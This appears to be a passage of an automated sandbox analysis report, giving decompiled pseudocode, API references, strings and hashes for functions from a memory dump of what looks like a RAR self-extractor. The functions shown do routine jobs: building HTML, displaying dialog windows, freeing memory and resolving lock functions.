0x0136bd30
0x0136bd30
0x0136bd35
0x00000000
0x00000000
0x0136bd41
0x0136bd41
0x0136bd44
0x0136bb25
0x0136bb25
0x00000000
0x0136bb25
0x0136bd4a
0x0136bd4a
0x0136bb16
0x0136bb16
0x0136bb1c
0x0136bb1d
0x0136bb20
0x00000000
0x00000000
0x0136bd51
0x0136bd51
0x0136bd54
0x00000000
0x00000000
0x0136bd5a
0x0136bd5a
0x0136bd5c
0x0136bd63
0x0136bd6b
0x0136bd71
0x0136bd76
0x0136bd79
0x0136bdae
0x0136bdb3
0x0136bdb9
0x0136bdba
0x0136bdbf
0x0136bd7b
0x0136bd7b
0x0136bd7e
0x0136bd84
0x0136bd9a
0x0136bd9f
0x0136bda0
0x0136bda5
0x0136bd86
0x0136bd86
0x0136bd8b
0x0136bd8c
0x0136bd91
0x0136bd91
0x0136bd84
0x0136bdc6
0x0136bdc8
0x0136bdcf
0x0136bddd
0x0136bde4
0x0136bde9
0x0136bdea
0x0136bdeb
0x0136bded
0x0136bdee
0x0136bdf5
0x0136be3e
0x0136be45
0x0136be4a
0x0136be4c
0x00000000
0x00000000
0x0136be52
0x0136be52
0x0136be54
0x0136be5a
0x0136be61
0x00000000
0x00000000
0x0136be63
0x0136be63
0x0136be65
0x0136be66
0x0136be66
0x0136be66
0x0136be69
0x0136be6c
0x0136be76
0x0136be76
0x0136be78
0x0136be7a
0x0136be84
0x0136be89
0x0136be8b
0x0136bec9
0x0136bec9
0x0136becc
0x0136becc
0x0136bece
0x0136becf
0x0136becf
0x00000000
0x0136becf
0x0136be8d
0x0136be8d
0x0136be8f
0x0136be90
0x0136be92
0x0136be95
0x0136beaa
0x0136beaa
0x0136beac
0x0136bead
0x0136bead
0x0136bead
0x0136beb0
0x0136beb0
0x0136beb5
0x0136beb6
0x0136bebc
0x0136bebc
0x0136bebd
0x0136bec2
0x0136bec3
0x0136bec4
0x00000000
0x0136bec4
0x0136be97
0x0136be97
0x0136be9e
0x0136bea1
0x0136bea2
0x00000000
0x0136bea2
0x0136be6e
0x0136be6e
0x0136be70
0x0136be71
0x0136be74
0x00000000
0x00000000
0x00000000
0x0136bed1
0x0136bed1
0x0136bed4
0x0136bed4
0x0136bed9
0x0136bedb
0x0136bedd
0x0136bedd
0x0136bedf
0x0136bedf
0x00000000
0x0136bdf7
0x0136bdf7
0x0136bdfe
0x0136be0a
0x0136be10
0x0136be11
0x0136be12
0x0136be17
0x0136be1a
0x0136be1c
0x0136be22
0x0136be24
0x0136be32
0x0136be37
0x0136be38
0x0136be38
0x0136bee2
0x0136bee2
0x0136beea
0x0136beef
0x0136bef1
0x0136bef2
0x0136bef8
0x0136bef9
0x0136beff
0x0136bf00
0x0136bf00
0x0136bf05
0x0136bf06
0x0136bf0c
0x0136bf0d
0x0136bf13
0x0136bf14
0x0136bf19
0x0136bf21
0x0136bf2d
0x0136bf2d
0x0136bf3a
0x0136bf3f
0x0136bf47
0x0136bf51
0x0136bf5e
0x0136bf65
0x0136bf65
0x0136bf71
0x0136bf78
0x0136bf7d
0x0136bf85
0x0136bf8b
0x0136bf8c
0x0136bf8d
0x0136bf8f
0x0136bf8f
0x0136bfa4
0x0136bfa9
0x0136bfb5
0x0136bfb7
0x0136bfc8
0x0136bfd5
0x00000000
0x0136bfb9
0x0136bfb9
0x0136bfc4
0x0136bfc6
0x0136bfda
0x0136bfda
0x0136bfdc
0x0136bfe2
0x0136bfe8
0x0136bff6
0x0136bffb
0x0136bffc
0x0136c004
0x0136c009
0x0136c010
0x0136c016
0x0136c018
0x0136c01e
0x0136c024
0x0136c026
0x0136c02f
0x0136c032
0x0136c034
0x0136c03d
0x0136c040
0x0136c046
0x0136c049
0x0136c052
0x0136c061
0x0136c066
0x0136c06e
0x0136c070
0x0136c071
0x0136c077
0x0136c078
0x0136c07a
0x0136c07f
0x0136c07f
0x00000000
0x0136c06e
0x00000000
0x0136bfc6
0x0136bfb7
0x00000000
0x0136c087
0x0136c087
0x0136c08a
0x0136c08c
0x0136c08c
0x00000000
0x00000000
0x0136bab8
0x0136bab8
0x0136bac0
0x0136bac6
0x0136bac9
0x0136baed
0x0136bacb
0x0136bacb
0x0136bace
0x0136bae1
0x0136bad0
0x0136bad0
0x0136bad2
0x0136bad7
0x0136bad7
0x0136bace
0x00000000
0x00000000
0x0136bb31
0x0136bb31
0x0136bb32
0x0136bb37
0x0136bb37
0x0136bb37
0x0136bb3a
0x0136bb3f
0x0136bb45
0x0136bb45
0x0136bb4b
0x0136bb51
0x0136bb51
0x00000000
0x00000000
0x0136b52a
0x0136b52c
0x0136b531
0x0136b537
0x0136b53a
0x00000000
0x0136b53c
0x0136b53c
0x00000000
0x0136b53c
0x0136b53a
0x0136c0c4
0x0136c0ca
0x0136c0d4
0x0136c0d4
0x0136bbd9
0x0136bbd9
0x0136bbe0
0x00000000
0x00000000
0x0136bbe6
0x0136bbe6
0x0136bbe8
0x0136bbef
0x0136bbf7
0x0136bbf8
0x0136bbfd
0x0136bbfe
0x0136bbff
0x0136bc01
0x0136bc55
0x0136bc55
0x0136bc5d
0x0136bc6b
0x0136bc7c
0x0136bc8a
0x0136bc8a
0x0136bc96
0x0136bc9b
0x0136bc9d
0x0136bcad
0x0136bcb7
0x0136bcbc
0x0136bcbf
0x00000000
0x0136bcc5
0x0136bcc5
0x0136bcca
0x0136bcca
0x0136bccc
0x0136bcd3
0x0136bcd9
0x00000000
0x0136bcd9
0x0136bcbf
0x0136bc03
0x0136bc05
0x0136bc07
0x0136bc0e
0x00000000
0x00000000
0x0136bc10
0x0136bc10
0x0136bc12
0x0136bc18
0x0136bc18
0x0136bc18
0x0136bc1c
0x00000000
0x00000000
0x0136bc1e
0x0136bc1e
0x0136bc1f
0x0136bc25
0x0136bc28
0x0136bc2a
0x0136bc2d
0x00000000
0x00000000
0x0136bc2f
0x00000000
0x0136bc2f
0x0136bc31
0x0136bc3c
0x0136bc46
0x0136bc4b
0x0136bc4b
0x0136bc4d
0x00000000
0x0136bcdf
0x0136bcdf
0x0136bce2
0x0136bce8
0x0136bcef
0x0136bcf1
0x0136bcf1
0x0136bcfb
0x0136bcfb
0x00000000
0x0136bce2

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0136BB71
_swprintf.LIBCMT ref: 0136BBA5

Part of subcall function 01353E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 01353E54

SetDlgItemTextW.USER32(?,00000066,013985FA), ref: 0136BBC5
_wcschr.LIBVCRUNTIME ref: 0136BBF8
EndDialog.USER32(?,00000001), ref: 0136BCD9

Strings

%s%s%u, xrefs: 0136BB9A

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: fefa03d2596e52ff7b52ca485f4e39ae499e0ab470759c18c6dbdd9aa383346d
Instruction ID: e1f36b38b734773b7b63058c180523de62e40cc3d0d103f2204d82cbd9386c04
Opcode Fuzzy Hash: fefa03d2596e52ff7b52ca485f4e39ae499e0ab470759c18c6dbdd9aa383346d
Instruction Fuzzy Hash: AB413072900219AEEF25DB68DC84FEEB7BCAB04708F0080A6E509E7149EF7597848F51

Uniqueness

Uniqueness Score: -1.00%

Function 013688BF, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 124
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E013688BF(void* __edx) {
				void* __ecx;
				void* _t20;
				short* _t24;
				void* _t28;
				signed int _t29;
				intOrPtr _t31;
				intOrPtr* _t38;
				void* _t44;
				void* _t58;
				intOrPtr* _t60;
				short* _t62;
				short* _t64;
				intOrPtr* _t67;
				long _t69;
				void* _t71;
				void* _t72;

				_t58 = __edx;
				_t43 = _t44;
				if( *((intOrPtr*)(_t44 + 0x10)) == 0) {
					return _t20;
				}
				 *(_t71 + 4) =  *(_t71 + 4) & 0x00000000;
				_t60 =  *((intOrPtr*)(_t71 + 0x18));
				 *((char*)(_t71 + 0x1c)) = E013687A5(_t60);
				_push(0x200 + E01372B33(_t60) * 2);
				_t24 = E01372B53(_t44);
				_t64 = _t24;
				if(_t64 == 0) {
					L16:
					return _t24;
				}
				E01374D7E(_t64, L"<html>");
				E013766ED(_t64, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E013766ED(_t64, L"utf-8\"></head>");
				_t72 = _t71 + 0x18;
				_t67 = _t60;
				_t28 = 0x20;
				if( *_t60 != _t28) {
					L4:
					_t29 = E01361432(_t76, _t67, L"<html>", 6);
					asm("sbb al, al");
					_t31 =  ~_t29 + 1;
					 *((intOrPtr*)(_t72 + 0x14)) = _t31;
					if(_t31 != 0) {
						_t60 = _t67 + 0xc;
					}
					E013766ED(_t64, _t60);
					if( *((char*)(_t72 + 0x1c)) == 0) {
						E013766ED(_t64, L"</html>");
					}
					_t79 =  *((char*)(_t72 + 0x1c));
					if( *((char*)(_t72 + 0x1c)) == 0) {
						_push(_t64);
						_t64 = E01368ACA(_t58, _t79);
					}
					_t69 = 9 + E01372B33(_t64) * 6;
					_t62 = GlobalAlloc(0x40, _t69);
					if(_t62 != 0) {
						_t13 = _t62 + 3; // 0x3
						if(WideCharToMultiByte(0xfde9, 0, _t64, 0xffffffff, _t13, _t69 - 3, 0, 0) == 0) {
							 *_t62 = 0;
						} else {
							 *_t62 = 0xbbef;
							 *((char*)(_t62 + 2)) = 0xbf;
						}
					}
					L01372B4E(_t64);
					_t24 =  *0x138dff8(_t62, 1, _t72 + 0x10);
					if(_t24 >= 0) {
						E013687DC( *((intOrPtr*)(_t43 + 0x10)));
						_t38 =  *((intOrPtr*)(_t72 + 0xc));
						_t24 =  *((intOrPtr*)( *_t38 + 8))(_t38,  *((intOrPtr*)(_t72 + 0xc)));
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_t67 = _t67 + 2;
					_t76 =  *_t67 - _t28;
				} while ( *_t67 == _t28);
				goto L4;
			}

0x013688bf
0x013688c2
0x013688c8
0x01368a04
0x01368a04
0x013688ce
0x013688d5
0x013688e0
0x013688f0
0x013688f1
0x013688f6
0x013688fc
0x013689ff
0x00000000
0x01368a00
0x01368909
0x01368914
0x0136891f
0x01368924
0x01368927
0x0136892b
0x0136892f
0x0136893a
0x01368942
0x01368949
0x0136894b
0x0136894d
0x01368951
0x01368953
0x01368953
0x01368958
0x01368964
0x0136896c
0x01368972
0x01368973
0x01368978
0x0136897a
0x01368982
0x01368982
0x0136898e
0x0136899a
0x0136899e
0x013689a8
0x013689bd
0x013689ca
0x013689bf
0x013689bf
0x013689c4
0x013689c4
0x013689bd
0x013689ce
0x013689dc
0x013689e5
0x013689f0
0x013689f5
0x013689fc
0x013689fc
0x00000000
0x00000000
0x00000000
0x00000000
0x01368931
0x01368931
0x01368931
0x01368934
0x01368934
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,?,?,?,?,?,013687A0), ref: 01368994
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 013689B5

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 0136890E
<html>, xrefs: 01368903, 0136893C
</html>, xrefs: 01368966
utf-8"></head>, xrefs: 01368919

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3286310052-4209811716
Opcode ID: 877f0a00ef0766751416ac34154804323c15cdf50fdb71eb5786924b4ab87de2
Instruction ID: 8ca43f937c9d819c5e6e99c6e09bf534942ad60dc1c117e95cbe572137fd4b4e
Opcode Fuzzy Hash: 877f0a00ef0766751416ac34154804323c15cdf50fdb71eb5786924b4ab87de2
Instruction Fuzzy Hash: 243124720043027EE325AB68DC05FAFBB9CEF56628F14854EF510A62C5EB78D405C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 01368FE6, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E01368FE6(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, intOrPtr _a12, intOrPtr _a16, char _a20) {
				struct tagRECT _v16;
				intOrPtr _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				intOrPtr _t32;
				struct HWND__* _t43;
				intOrPtr* _t51;
				void* _t58;
				WCHAR* _t65;
				struct HWND__* _t66;

				_t66 = _a8;
				_t51 = __ecx;
				 *(__ecx + 8) = _t66;
				 *((char*)(__ecx + 0x26)) = _a20;
				ShowWindow(_t66, 0);
				E01368D3F(_t51, _a4);
				if( *((intOrPtr*)(_t51 + 0x1c)) != 0) {
					L01372B4E( *((intOrPtr*)(_t51 + 0x1c)));
				}
				if(_a12 != 0) {
					_push(_a12);
					_t32 = E0137668C(_t51, _t58);
				} else {
					_t32 = 0;
				}
				 *((intOrPtr*)(_t51 + 0x1c)) = _t32;
				 *((intOrPtr*)(_t51 + 0x20)) = _a16;
				GetWindowRect(_t66,  &_v16);
				 *0x138df88(0,  *0x138dfd4(_t66,  &_v16, 2));
				if( *(_t51 + 4) != 0) {
					 *0x138df90( *(_t51 + 4));
				}
				_t39 = _v36;
				_t19 = _t39 + 1; // 0x1
				_t43 =  *0x138df98(0, L"RarHtmlClassName", 0, 0x40000000, _t19, _v36, _v28 - _v36 - 2, _v28 - _v36,  *0x138dfd4(_t66, 0,  *_t51, _t51, _t58));
				 *(_t51 + 4) = _t43;
				if( *((intOrPtr*)(_t51 + 0x10)) != 0) {
					__eflags = _t43;
					if(_t43 != 0) {
						ShowWindow(_t43, 5);
						return  *0x138df8c( *(_t51 + 4));
					}
				} else {
					if(_t66 != 0 &&  *((intOrPtr*)(_t51 + 0x20)) == 0) {
						_t75 =  *((intOrPtr*)(_t51 + 0x1c));
						if( *((intOrPtr*)(_t51 + 0x1c)) != 0) {
							_t43 = E01368E11(_t51, _t75,  *((intOrPtr*)(_t51 + 0x1c)));
							_t65 = _t43;
							if(_t65 != 0) {
								ShowWindow(_t66, 5);
								SetWindowTextW(_t66, _t65);
								return L01372B4E(_t65);
							}
						}
					}
				}
				return _t43;
			}

0x01368fef
0x01368ff3
0x01368ff9
0x01368ffc
0x01368fff
0x0136900b
0x01369014
0x01369019
0x0136901e
0x01369024
0x0136902a
0x0136902e
0x01369026
0x01369026
0x01369026
0x01369034
0x0136903b
0x01369044
0x0136905b
0x01369065
0x0136906a
0x0136906a
0x01369070
0x0136907e
0x013690ab
0x013690b1
0x013690b8
0x013690f2
0x013690f4
0x013690f9
0x00000000
0x01369102
0x013690ba
0x013690bc
0x013690c3
0x013690c6
0x013690cd
0x013690d2
0x013690d6
0x013690db
0x013690e3
0x00000000
0x013690ef
0x013690d6
0x013690c6
0x013690bc
0x0136910e

APIs

ShowWindow.USER32(?,00000000), ref: 01368FFF
GetWindowRect.USER32(?,00000000), ref: 01369044
ShowWindow.USER32(?,00000005,00000000), ref: 013690DB
SetWindowTextW.USER32(?,00000000), ref: 013690E3
ShowWindow.USER32(00000000,00000005), ref: 013690F9

Strings

RarHtmlClassName, xrefs: 013690A5

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: d5505dfcaf56e0df8f87c4464bb3b10fa5287cc85c836066ed70a4502c38613e
Instruction ID: 7dd5e29060a8f04176d3733b805aa9ba3bb4a259cd860e4cb6a63e6820a976ee
Opcode Fuzzy Hash: d5505dfcaf56e0df8f87c4464bb3b10fa5287cc85c836066ed70a4502c38613e
Instruction Fuzzy Hash: C9318E31004314EFDB21AFA99C4CF6BBFACEF48719F008559F9499A19ACB35D814DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0137B506, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0137B506(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E0137B4CA(_t45, 7);
					E0137B4CA(_t45 + 0x1c, 7);
					E0137B4CA(_t45 + 0x38, 0xc);
					E0137B4CA(_t45 + 0x68, 0xc);
					E0137B4CA(_t45 + 0x98, 2);
					E01377A50( *((intOrPtr*)(_t45 + 0xa0)));
					E01377A50( *((intOrPtr*)(_t45 + 0xa4)));
					E01377A50( *((intOrPtr*)(_t45 + 0xa8)));
					E0137B4CA(_t45 + 0xb4, 7);
					E0137B4CA(_t45 + 0xd0, 7);
					E0137B4CA(_t45 + 0xec, 0xc);
					E0137B4CA(_t45 + 0x11c, 0xc);
					E0137B4CA(_t45 + 0x14c, 2);
					E01377A50( *((intOrPtr*)(_t45 + 0x154)));
					E01377A50( *((intOrPtr*)(_t45 + 0x158)));
					E01377A50( *((intOrPtr*)(_t45 + 0x15c)));
					return E01377A50( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x0137b50c
0x0137b511
0x0137b51a
0x0137b525
0x0137b530
0x0137b53b
0x0137b549
0x0137b554
0x0137b55f
0x0137b56a
0x0137b578
0x0137b586
0x0137b597
0x0137b5a5
0x0137b5b3
0x0137b5be
0x0137b5c9
0x0137b5d4
0x00000000
0x0137b5e4
0x0137b5e9

APIs

Part of subcall function 0137B4CA: _free.LIBCMT ref: 0137B4F3

_free.LIBCMT ref: 0137B554

Part of subcall function 01377A50: RtlFreeHeap.NTDLL(00000000,00000000,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?), ref: 01377A66
Part of subcall function 01377A50: GetLastError.KERNEL32(?,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?,?), ref: 01377A78

_free.LIBCMT ref: 0137B55F
_free.LIBCMT ref: 0137B56A
_free.LIBCMT ref: 0137B5BE
_free.LIBCMT ref: 0137B5C9
_free.LIBCMT ref: 0137B5D4
_free.LIBCMT ref: 0137B5DF

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 47c67bb6ac6dc7fd170de8bd6b40a79d5f713bdac9f6b7190701213f35d3a31d
Instruction ID: b57c6f3acb7b599a1131e94c70e29ea5cc703a7548a935a06ff9c6c6a1503c81
Opcode Fuzzy Hash: 47c67bb6ac6dc7fd170de8bd6b40a79d5f713bdac9f6b7190701213f35d3a31d
Instruction Fuzzy Hash: 63111F72540B05AAE670B7B4CC09FCBB7FC6F14B04F404C25A79E76158DA6DB6044660

Uniqueness

Uniqueness Score: -1.00%

Function 01371694, Relevance: 10.6, APIs: 7, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E01371694(void* __ecx, void* __edx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t26;
				void* _t29;

				if( *0x138d680 != 0xffffffff) {
					_t26 = GetLastError();
					_t11 = E0137288E(__eflags,  *0x138d680);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E013728C8(__eflags,  *0x138d680, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_t29 = E01377B1B(_t16, 1, 0x28);
								__eflags = _t29;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E013728C8(__eflags,  *0x138d680, 0);
								} else {
									__eflags = E013728C8(__eflags,  *0x138d680, _t29);
									if(__eflags != 0) {
										_t11 = _t29;
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E01377A50(_t29);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t26);
					return _t11;
				} else {
					return 0;
				}
			}

0x0137169b
0x013716ae
0x013716b5
0x013716b8
0x013716bb
0x013716d4
0x013716d4
0x013716bd
0x013716bd
0x013716bf
0x013716c9
0x013716cf
0x013716d0
0x013716d2
0x013716e2
0x013716e6
0x013716e8
0x013716fc
0x013716fc
0x01371705
0x013716ea
0x013716f8
0x013716fa
0x0137170e
0x01371710
0x01371710
0x00000000
0x00000000
0x00000000
0x013716fa
0x01371713
0x00000000
0x00000000
0x00000000
0x013716d2
0x013716bf
0x0137171b
0x01371725
0x0137169d
0x0137169f
0x0137169f

APIs

GetLastError.KERNEL32(?,?,0137168B,0136F0E2), ref: 013716A2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 013716B0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 013716C9
SetLastError.KERNEL32(00000000,?,0137168B,0136F0E2), ref: 0137171B

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a3476df9837e3a92644c897f805f862fbfc5839a4d11c6aeb8ebe8498b333883
Instruction ID: cc6302a066f8a37eef53594f696294fa85e1697f22e23030811ed583d8b64eda
Opcode Fuzzy Hash: a3476df9837e3a92644c897f805f862fbfc5839a4d11c6aeb8ebe8498b333883
Instruction Fuzzy Hash: 7001F23320931A6EF7362BBC7C8892B2FCCEB1177DB20023AF914650D5EF5A4801A254

Uniqueness

Uniqueness Score: -1.00%

Function 0136D27B, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0136D27B() {
				intOrPtr _t1;
				_Unknown_base(*)()* _t3;
				void* _t5;
				_Unknown_base(*)()* _t6;
				struct HINSTANCE__* _t14;

				_t1 =  *0x13afe58;
				if(_t1 != 1) {
					if(_t1 == 0) {
						_t14 = GetModuleHandleW(L"KERNEL32.DLL");
						if(_t14 != 0) {
							_t3 = GetProcAddress(_t14, "AcquireSRWLockExclusive");
							if(_t3 == 0) {
								goto L5;
							} else {
								 *0x13afe5c = _t3;
								_t6 = GetProcAddress(_t14, "ReleaseSRWLockExclusive");
								if(_t6 == 0) {
									goto L5;
								} else {
									 *0x13afe60 = _t6;
								}
							}
						} else {
							L5:
							_t14 = 1;
						}
						asm("lock cmpxchg [edx], ecx");
						if(0 != 0 || _t14 != 1) {
							if(0 != 1) {
								_t5 = 1;
							} else {
								goto L12;
							}
						} else {
							L12:
							_t5 = 0;
						}
						return _t5;
					} else {
						return 1;
					}
				} else {
					return 0;
				}
			}

0x0136d27b
0x0136d286
0x0136d28e
0x0136d2a0
0x0136d2a4
0x0136d2b0
0x0136d2b8
0x00000000
0x0136d2ba
0x0136d2c0
0x0136d2c5
0x0136d2cd
0x00000000
0x0136d2cf
0x0136d2cf
0x0136d2cf
0x0136d2cd
0x0136d2a6
0x0136d2a6
0x0136d2a6
0x0136d2a6
0x0136d2dd
0x0136d2e3
0x0136d2eb
0x0136d2f1
0x00000000
0x00000000
0x00000000
0x0136d2ed
0x0136d2ed
0x0136d2ed
0x0136d2ed
0x0136d2f5
0x0136d290
0x0136d293
0x0136d293
0x0136d288
0x0136d28b
0x0136d28b

Strings

AcquireSRWLockExclusive, xrefs: 0136D2AA
KERNEL32.DLL, xrefs: 0136D295
ReleaseSRWLockExclusive, xrefs: 0136D2BA

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: cf712361b2fb1a67021cf1680042545cd4bb2c2554ed90e5eb21f3fd946d4158
Instruction ID: f3cd5cd3a9eda4859d3ca25c38b838fbe71019fce8afdc1f61c3c619da1f32c2
Opcode Fuzzy Hash: cf712361b2fb1a67021cf1680042545cd4bb2c2554ed90e5eb21f3fd946d4158
Instruction Fuzzy Hash: 1301F4B17413635BDF316FFD5C90AAB2B8CAA06A3E714813AEA81D760DE751C042D790

Uniqueness

Uniqueness Score: -1.00%

Function 013775DB, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E013775DB(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0x138dd40; // 0xe622e8
					if(_t7 != 0x138db20) {
						E01377A50(_t7);
						 *0x138dd40 = 0x138db20;
					}
				}
				E01377A50( *0x13b0410);
				 *0x13b0410 = 0;
				E01377A50( *0x13b0414);
				 *0x13b0414 = 0;
				E01377A50( *0x13b0860);
				 *0x13b0860 = 0;
				E01377A50( *0x13b0864);
				 *0x13b0864 = 0;
				return 1;
			}

0x013775e4
0x013775e8
0x013775ea
0x013775f6
0x013775f9
0x013775ff
0x013775ff
0x013775f6
0x0137760b
0x01377618
0x0137761e
0x01377629
0x0137762f
0x0137763a
0x01377640
0x01377648
0x01377651

APIs

_free.LIBCMT ref: 013775F9

Part of subcall function 01377A50: RtlFreeHeap.NTDLL(00000000,00000000,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?), ref: 01377A66
Part of subcall function 01377A50: GetLastError.KERNEL32(?,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?,?), ref: 01377A78

_free.LIBCMT ref: 0137760B
_free.LIBCMT ref: 0137761E
_free.LIBCMT ref: 0137762F
_free.LIBCMT ref: 01377640

Strings

", xrefs: 013775DB, 013775EA, 013775FF

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: "
API String ID: 776569668-357034475
Opcode ID: 51b83c355ebf058da3180174932c7b56039b10b9cf7867cc585b588f534641f4
Instruction ID: 8eeab017bb4d714778b33e626fa4c109531a88586b632d66328a8d3314406741
Opcode Fuzzy Hash: 51b83c355ebf058da3180174932c7b56039b10b9cf7867cc585b588f534641f4
